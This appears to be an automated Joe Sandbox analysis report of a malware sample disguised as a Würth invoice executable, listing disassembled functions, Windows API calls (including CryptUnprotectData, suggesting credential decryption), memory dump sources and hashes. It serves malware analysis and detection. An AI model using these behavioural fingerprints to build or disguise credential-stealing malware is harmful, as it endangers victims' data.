Opcode ID: 4a9363a6df4f188c469d9e85be5717e9923612549b1d7987802fb003682d7455
Instruction ID: 54645776255075cb8615a9bf9b42270142c769617333b00c78cd875754afbab4
Opcode Fuzzy Hash: 4a9363a6df4f188c469d9e85be5717e9923612549b1d7987802fb003682d7455
Instruction Fuzzy Hash: CA11D171B046019BC7249F15DC50A77376DEBC6719718C13BE802A7392DA3DAD028699

Function 00405100 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040512F
CallWindowProcW.USER32(?,?,?,?), ref: 00405180

Part of subcall function 0040413D: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040414F

Strings

, xrefs: 00405110

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 2db196e0f7310a3ea08cf6f228cdd10093951b38e6a4e1a7139cbd366e119caf
Instruction ID: 5570e87b323d3ab4a73141f23c5ad1f32913b259369346fef97a544c26a8305a
Opcode Fuzzy Hash: 2db196e0f7310a3ea08cf6f228cdd10093951b38e6a4e1a7139cbd366e119caf
Instruction Fuzzy Hash: C4019E31500608AFEB209F11DD80B9B3726EB85355F108036F615792D0C37A8C929E29

Function 004037E1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,75923420,00000000,C:\Users\user\AppData\Local\Temp\,004037B9,004035CF,?), ref: 004037FB
GlobalFree.KERNEL32(00B8F650), ref: 00403802

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004037E1

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-823278215
Opcode ID: 513cb66aec3b184b1656533b532479dca3ec5b33ad4594f499a54eb9bf6dfc70
Instruction ID: 2f8b8ce22cb5ec106cd91628dbf998760d49a3025a1d563264e19f72e628b131
Opcode Fuzzy Hash: 513cb66aec3b184b1656533b532479dca3ec5b33ad4594f499a54eb9bf6dfc70
Instruction Fuzzy Hash: 34E0C2338110309BC6219F54FE04B5ABB686F44F22F19803BF880BB2608BB81C428BD8

Function 00405A2D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402E5A,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Wuerth_factura_4052073226..exe,C:\Users\user\Desktop\Wuerth_factura_4052073226..exe,80000000,00000003,?,?,"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe",00403513,?), ref: 00405A33
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402E5A,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Wuerth_factura_4052073226..exe,C:\Users\user\Desktop\Wuerth_factura_4052073226..exe,80000000,00000003,?,?,"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe",00403513,?), ref: 00405A43

Strings

C:\Users\user\Desktop, xrefs: 00405A2D

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-1246513382
Opcode ID: 1e2f59ad4ff0707ecda417660e1f53ddee00da6e1af2314932cd9a88429354c1
Instruction ID: b6b9263f7e6f7f33dca29af715431404939bf432e253a022a3dbfc1ec44a830d
Opcode Fuzzy Hash: 1e2f59ad4ff0707ecda417660e1f53ddee00da6e1af2314932cd9a88429354c1
Instruction Fuzzy Hash: D5D05EB2400920DAC322A704DC40D9F67A8EF52304746842AE840A6161D7785D818AAD

Function 100010E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 1000116A
GlobalFree.KERNEL32(00000000), ref: 100011C7
GlobalFree.KERNEL32(00000000), ref: 100011D9
GlobalFree.KERNEL32(?), ref: 10001203

Memory Dump Source

Source File: 00000000.00000002.2557535057.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2557517114.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2557549855.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2557564839.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction ID: f345eba8489605592ce73ef35c78e6b42925bf5f5eceaf1f60f0973e38c56604
Opcode Fuzzy Hash: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction Fuzzy Hash: AE318FF6904211DBF314CF64DC859EA77E8EB853D0B12452AFB45E726CEB34E8018765

Function 00405B67 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E48,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B77
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405B8F
CharNextA.USER32(00000000,?,00000000,00405E48,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BA0
lstrlenA.KERNEL32(00000000,?,00000000,00405E48,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BA9

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: e0aa3f8b5d9062cafbb7b658161da2b40476d8243bb4b83799a9e8f5804b25e7
Instruction ID: 726002b591c2c836e0c8fef6507a3208c362efe389af0cd528cd0253ba47f693
Opcode Fuzzy Hash: e0aa3f8b5d9062cafbb7b658161da2b40476d8243bb4b83799a9e8f5804b25e7
Instruction Fuzzy Hash: A0F0C235101914EFD7029FA5DD00D9EBBB8EF06350B2140A9E840F7310D674FE019BA8

Analysis Process: Wuerth_factura_4052073226..exePID: 3148, Parent PID: 528COMMON

Execution Graph

Execution Coverage:	7.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	9.7%
Total number of Nodes:	113
Total number of Limit Nodes:	10

Executed Functions

Function 39DB5028 Relevance: 8.1, Strings: 4, Instructions: 3069COMMON

Download Yara Rule

Strings

N, xrefs: 39DB8408
>e9, xrefs: 39DB538F
>e9, xrefs: 39DB5323
>e9, xrefs: 39DB5351

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: >e9$>e9$>e9$N
API String ID: 0-3954300433
Opcode ID: 14588789cd36ba02ad4f58c3d9df9d86c1765306e175ed8fbb374cfa80a059ab
Instruction ID: 5f16701b991e0bfd9399027c99cb85dfcc6597f43434e1286bbab5fbbd281f56
Opcode Fuzzy Hash: 14588789cd36ba02ad4f58c3d9df9d86c1765306e175ed8fbb374cfa80a059ab
Instruction Fuzzy Hash: 4373F771C107598EDB11EF68C854A99FBB1FF99300F51D69AE0497B221EB70AAC4CF81

Function 000DC147 Relevance: 6.5, Strings: 5, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHjq, xrefs: 000DC400
LjMp, xrefs: 000DC38D
PHjq, xrefs: 000DC3EF
LjMp, xrefs: 000DC377
0oMp, xrefs: 000DC20A

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: 0oMp$LjMp$LjMp$PHjq$PHjq
API String ID: 0-3395041758
Opcode ID: c687951e574b77fb59ff4a5a6f5f1b4d5c40cccf25c5f9180dae90bfecd1e9b2
Instruction ID: 1c45a7295f5588504a03b03c605cb403e030283a775282f83ae3d386b1688c50
Opcode Fuzzy Hash: c687951e574b77fb59ff4a5a6f5f1b4d5c40cccf25c5f9180dae90bfecd1e9b2
Instruction Fuzzy Hash: 14A1E874E002199FEB14DFA9D994A9DBBF2BF89300F14C06AE409AB362DB349D45CF50

Function 000D5362 Relevance: 6.4, Strings: 5, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0oMp, xrefs: 000D53E2
LjMp, xrefs: 000D5550
PHjq, xrefs: 000D55C8
LjMp, xrefs: 000D5566
PHjq, xrefs: 000D55D9

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: 0oMp$LjMp$LjMp$PHjq$PHjq
API String ID: 0-3395041758
Opcode ID: e5de43c1c2ea24cf28d8e8233148213444bd50b8a17cb333c89f364e80bb8944
Instruction ID: d1154476a509a3b20835a26f24fe994a36a5c44fa47d1f7632a2d55f3a62394c
Opcode Fuzzy Hash: e5de43c1c2ea24cf28d8e8233148213444bd50b8a17cb333c89f364e80bb8944
Instruction Fuzzy Hash: 5C91F474E00618CFDB15CFA9D994A9DBBF2BF89301F14C0AAE809AB365DB349945CF10

Function 000DD278 Relevance: 6.4, Strings: 5, Instructions: 187
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHjq, xrefs: 000DD4E0
LjMp, xrefs: 000DD46D
LjMp, xrefs: 000DD457
PHjq, xrefs: 000DD4CF
0oMp, xrefs: 000DD2EA

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: 0oMp$LjMp$LjMp$PHjq$PHjq
API String ID: 0-3395041758
Opcode ID: cfa1a315368132b2fb6ec162e66af464497f287290caf07fda2600ecc8c5b449
Instruction ID: 3837a474ea9653728ed9b895971b6a811e470c34422c943e2cc7ff3e9fb7f111
Opcode Fuzzy Hash: cfa1a315368132b2fb6ec162e66af464497f287290caf07fda2600ecc8c5b449
Instruction Fuzzy Hash: 6181B474E00218CFDB54DFAAD994A9DBBF2BF89300F14C06AE409AB365DB34A945CF50

Function 000DCA08 Relevance: 6.4, Strings: 5, Instructions: 187
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LjMp, xrefs: 000DCBE7
PHjq, xrefs: 000DCC70
PHjq, xrefs: 000DCC5F
LjMp, xrefs: 000DCBFD
0oMp, xrefs: 000DCA7A

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: 0oMp$LjMp$LjMp$PHjq$PHjq
API String ID: 0-3395041758
Opcode ID: 1d98a93726aa2558354688bde59cc38200942befc486f3afcbe76cfc87f868f2
Instruction ID: 65683cb4798c296d9270d9d8559b82875319d04d4851058b5a0a1d34db045bc0
Opcode Fuzzy Hash: 1d98a93726aa2558354688bde59cc38200942befc486f3afcbe76cfc87f868f2
Instruction Fuzzy Hash: 6281A374E00218CFEB54DFAAD944A9DBBF2BF88310F14D06AE419AB365DB349945CF50

Function 000DC738 Relevance: 6.4, Strings: 5, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0oMp, xrefs: 000DC7AA
PHjq, xrefs: 000DC9A0
LjMp, xrefs: 000DC92D
PHjq, xrefs: 000DC98F
LjMp, xrefs: 000DC917

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: 0oMp$LjMp$LjMp$PHjq$PHjq
API String ID: 0-3395041758
Opcode ID: d65e9a03f21fcef2ea1fc91b79ea4cade9f448340771fb00da1d5ee1e9c9f2ef
Instruction ID: 9986fc8bf5cf975527a893714a2d537ed9363212e2708aa10c6569db98579890
Opcode Fuzzy Hash: d65e9a03f21fcef2ea1fc91b79ea4cade9f448340771fb00da1d5ee1e9c9f2ef
Instruction Fuzzy Hash: ED81B174E002188FEB54DFAAD994A9DFBF2BF88300F14C06AE409AB365DB349945CF50

Function 000DCCD8 Relevance: 6.4, Strings: 5, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0oMp, xrefs: 000DCD4A
LjMp, xrefs: 000DCEB7
LjMp, xrefs: 000DCECD
PHjq, xrefs: 000DCF2F
PHjq, xrefs: 000DCF40

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: 0oMp$LjMp$LjMp$PHjq$PHjq
API String ID: 0-3395041758
Opcode ID: 7f4c64d472ec73cdb55a3601af33d2815c388342fc6e477f676bc91cd29faea8
Instruction ID: 53247501cccb662c77afa673c7da12970d46f7dee1737cdef6eb8531eb5d973f
Opcode Fuzzy Hash: 7f4c64d472ec73cdb55a3601af33d2815c388342fc6e477f676bc91cd29faea8
Instruction Fuzzy Hash: 0881A474E002189FEB54DFA9D944A9DBBF2BF89300F14C06AE419AB365DB349945CF50

Function 000DCFAA Relevance: 6.4, Strings: 5, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHjq, xrefs: 000DD1FF
0oMp, xrefs: 000DD01A
LjMp, xrefs: 000DD19D
LjMp, xrefs: 000DD187
PHjq, xrefs: 000DD210

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: 0oMp$LjMp$LjMp$PHjq$PHjq
API String ID: 0-3395041758
Opcode ID: 5c50efbcbc24a8887f7e09c1ecc5bd29278ce6f6b4d5063fb9a8f3f2f734961f
Instruction ID: cdec048af15461377f31fb5beb4ba180c709c0d963584a5436fedae099115d29
Opcode Fuzzy Hash: 5c50efbcbc24a8887f7e09c1ecc5bd29278ce6f6b4d5063fb9a8f3f2f734961f
Instruction Fuzzy Hash: 6581B374E01218DFDB54DFAAD984A9EBBF2BF89300F14C06AE409AB365DB349945CF10

Function 000DC472 Relevance: 6.4, Strings: 5, Instructions: 182COMMON

Download Yara Rule

Strings

LjMp, xrefs: 000DC65D
PHjq, xrefs: 000DC6BF
PHjq, xrefs: 000DC6D0
LjMp, xrefs: 000DC647
0oMp, xrefs: 000DC4DA

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: 0oMp$LjMp$LjMp$PHjq$PHjq
API String ID: 0-3395041758
Opcode ID: 061fb751b75ff3978beef2b9265aafcf57c24deba76161b546b9b10ac4659e07
Instruction ID: 41583b216130fd22d202f25ad53014c0b6ca3b7075ccdd17bb410b3a0a26a864
Opcode Fuzzy Hash: 061fb751b75ff3978beef2b9265aafcf57c24deba76161b546b9b10ac4659e07
Instruction Fuzzy Hash: 5881C374E00219CFEB54DFAAD984A9DBBF2BF88300F14D06AE419AB365DB349941CF50

Function 000D9DE0 Relevance: 6.1, Strings: 4, Instructions: 1145COMMON

Download Yara Rule

Strings

4'jq, xrefs: 000D9F0C
(ojq, xrefs: 000DA518
4'jq, xrefs: 000D9E04
4'jq, xrefs: 000DAB13

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: (ojq$4'jq$4'jq$4'jq
API String ID: 0-2955104408
Opcode ID: 49aa61bb25943fb82cdb66424be98c9757ca9dc00ec0c038c96419e4337ebced
Instruction ID: c7e1ca27a2026905abfffb8ebf9f846ce51f8c12039b538316d244b55d618802
Opcode Fuzzy Hash: 49aa61bb25943fb82cdb66424be98c9757ca9dc00ec0c038c96419e4337ebced
Instruction Fuzzy Hash: 04A25F707042099FCB15CF68C984AAEBBF2BF89310F15856AE405DB3A6D735ED41CB62

Function 000D6FC8 Relevance: 5.5, Strings: 4, Instructions: 456COMMON

Download Yara Rule

Strings

,nq, xrefs: 000D7298
(ojq, xrefs: 000D7212
(ojq, xrefs: 000D7220
,nq, xrefs: 000D728A

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: (ojq$(ojq$,nq$,nq
API String ID: 0-2501548412
Opcode ID: 00790762806992d4f693e8f2fa74988e2d1f973f53227f24bcdd85ef9615f15a
Instruction ID: 2f808b76bc55c59e4ef9f94e2e4461cd889029fb91bc448e54142a1ab3f827d0
Opcode Fuzzy Hash: 00790762806992d4f693e8f2fa74988e2d1f973f53227f24bcdd85ef9615f15a
Instruction Fuzzy Hash: 99024070A04359DFCB55CF68D884AAEBBF2BF49300F55805AE809AB3A5E730DD41CB61

Function 3A5F8EF1 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 3A5F8F5D

Strings

)?C|, xrefs: 3A5F8F12

Memory Dump Source

Source File: 00000004.00000002.3300827066.000000003A5F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A5F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a5f0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: CryptDataUnprotect
String ID: )?C|
API String ID: 834300711-1370406100
Opcode ID: 894da6db2a58f19605e3006ef0e8a74984fa4a5326983ecc910662d689b5f47d
Instruction ID: df377ad0fb148bd57c2b38e80ed8db1ad3ad03d01e6053c41b57907e8103f5cd
Opcode Fuzzy Hash: 894da6db2a58f19605e3006ef0e8a74984fa4a5326983ecc910662d689b5f47d
Instruction Fuzzy Hash: 011167B6800249DFCB10CF99D844BEEBFF5EF48320F14881AE918A7210C339A590CFA1

Function 3A5F87A8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 3A5F8F5D

Strings

)?C|, xrefs: 3A5F8F12

Memory Dump Source

Source File: 00000004.00000002.3300827066.000000003A5F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A5F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a5f0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: CryptDataUnprotect
String ID: )?C|
API String ID: 834300711-1370406100
Opcode ID: 66abbfb61675bf59ff5f64e2528bf0c19a0255471b2fec61c0cb70f67901dc14
Instruction ID: 9038a3ed706a10da5aea733e636280e3a2d7c8e8f107aba98d0a03193f761e54
Opcode Fuzzy Hash: 66abbfb61675bf59ff5f64e2528bf0c19a0255471b2fec61c0cb70f67901dc14
Instruction Fuzzy Hash: 46115976800209DFDB10DF99D844BDEBFF5EF48320F10841AE518A7210C779A550DFA5

Function 3A665FD8 Relevance: 1.6, Strings: 1, Instructions: 300COMMON

Download Yara Rule

Strings

,ZR7, xrefs: 3A66647D, 3A666497

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: ,ZR7
API String ID: 0-2596011557
Opcode ID: 007a03da0120daa2532500484e7aff07ac4ff4fada544fcc085d75a8eb435dd1
Instruction ID: b37a44ec41d2c4fd9607850e0d542bbf045267a082d398835aef3fdbe7b5877f
Opcode Fuzzy Hash: 007a03da0120daa2532500484e7aff07ac4ff4fada544fcc085d75a8eb435dd1
Instruction Fuzzy Hash: 2CE1B0B4D01218CFDB64CFA9D944B9DBBB2BF88304F2081A9D809B73A5DB355A85CF54

Function 3A5F8FB0 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

,ZR7, xrefs: 3A5F93A9, 3A5F93C3

Memory Dump Source

Source File: 00000004.00000002.3300827066.000000003A5F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A5F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a5f0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: ,ZR7
API String ID: 0-2596011557
Opcode ID: 0e9addd9f6def25e5eed64c3103a6f6297cf4a906d390dd5a36ea6653c88a039
Instruction ID: 227f590fcd373756e2ce624114a33dba0cffc833bcbbeeb164527a186154dbcd
Opcode Fuzzy Hash: 0e9addd9f6def25e5eed64c3103a6f6297cf4a906d390dd5a36ea6653c88a039
Instruction Fuzzy Hash: D2D1AE78E00218CFDB54DFA9D980B9DBBB2BF89300F1085A9D809AB365DB355E85CF50

Function 39DB1E70 Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

8, xrefs: 39DB1E75

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: 8
API String ID: 0-4194326291
